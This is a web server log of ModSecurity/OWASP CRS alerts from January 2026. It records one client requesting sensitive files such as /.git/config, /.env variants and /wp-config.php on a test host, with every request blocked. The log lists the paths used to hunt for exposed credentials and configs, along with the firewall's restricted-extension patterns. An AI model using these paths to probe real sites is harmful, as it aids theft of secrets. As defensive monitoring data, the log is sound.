[tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKtgAAAA8&quot;]
[Mon Jan 26 19:22:43.264516 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKtgAAAA8&quot;]
[Mon Jan 26 19:22:43.264649 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKtgAAAA8&quot;]
[Mon Jan 26 19:22:43.351826 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKugAAAA8&quot;]
[Mon Jan 26 19:22:43.352041 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKugAAAA8&quot;]
[Mon Jan 26 19:22:43.352183 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKugAAAA8&quot;]
[Mon Jan 26 19:22:43.372788 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKuwAAAA8&quot;]
[Mon Jan 26 19:22:43.372958 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKuwAAAA8&quot;]
[Mon Jan 26 19:22:43.373095 2026] [:error] [pid 1670871] [client 195.178.110.132:32914] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aXew80Q38vz4-ZGJbruKuwAAAA8&quot;]
[Tue Jan 27 03:40:34.811907 2026] [:error] [pid 1683151] [client 195.178.110.132:39686] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXglonq0-fL13Y9I6f4OdAAAAAQ&quot;]
[Tue Jan 27 03:40:34.812081 2026] [:error] [pid 1683151] [client 195.178.110.132:39686] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXglonq0-fL13Y9I6f4OdAAAAAQ&quot;]
[Tue Jan 27 03:40:34.812213 2026] [:error] [pid 1683151] [client 195.178.110.132:39686] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXglonq0-fL13Y9I6f4OdAAAAAQ&quot;]
[Tue Jan 27 03:40:34.944292 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXglos85x9nAHFnmmwyEUgAAAAE&quot;]
[Tue Jan 27 03:40:34.944450 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXglos85x9nAHFnmmwyEUgAAAAE&quot;]
[Tue Jan 27 03:40:34.944655 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aXglos85x9nAHFnmmwyEUgAAAAE&quot;]
[Tue Jan 27 03:40:34.965286 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aXglos85x9nAHFnmmwyEUwAAAAE&quot;]
[Tue Jan 27 03:40:34.965414 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aXglos85x9nAHFnmmwyEUwAAAAE&quot;]
[Tue Jan 27 03:40:34.965570 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aXglos85x9nAHFnmmwyEUwAAAAE&quot;]
[Tue Jan 27 03:40:34.965714 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aXglos85x9nAHFnmmwyEUwAAAAE&quot;]
[Tue Jan 27 03:40:34.986499 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aXglos85x9nAHFnmmwyEVAAAAAE&quot;]
[Tue Jan 27 03:40:34.986659 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aXglos85x9nAHFnmmwyEVAAAAAE&quot;]
[Tue Jan 27 03:40:34.986799 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aXglos85x9nAHFnmmwyEVAAAAAE&quot;]
[Tue Jan 27 03:40:35.007483 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEVQAAAAE&quot;]
[Tue Jan 27 03:40:35.007658 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEVQAAAAE&quot;]
[Tue Jan 27 03:40:35.007809 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEVQAAAAE&quot;]
[Tue Jan 27 03:40:35.028500 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEVgAAAAE&quot;]
[Tue Jan 27 03:40:35.028656 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEVgAAAAE&quot;]
[Tue Jan 27 03:40:35.028793 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEVgAAAAE&quot;]
[Tue Jan 27 03:40:35.049427 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEVwAAAAE&quot;]
[Tue Jan 27 03:40:35.049587 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEVwAAAAE&quot;]
[Tue Jan 27 03:40:35.049739 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEVwAAAAE&quot;]
[Tue Jan 27 03:40:35.070467 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEWAAAAAE&quot;]
[Tue Jan 27 03:40:35.070646 2026] [:error] [pid 1683148] [client 195.178.110.132:39730] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aXglo885x9nAHFnmmwyEWAAAAAE&quot;]
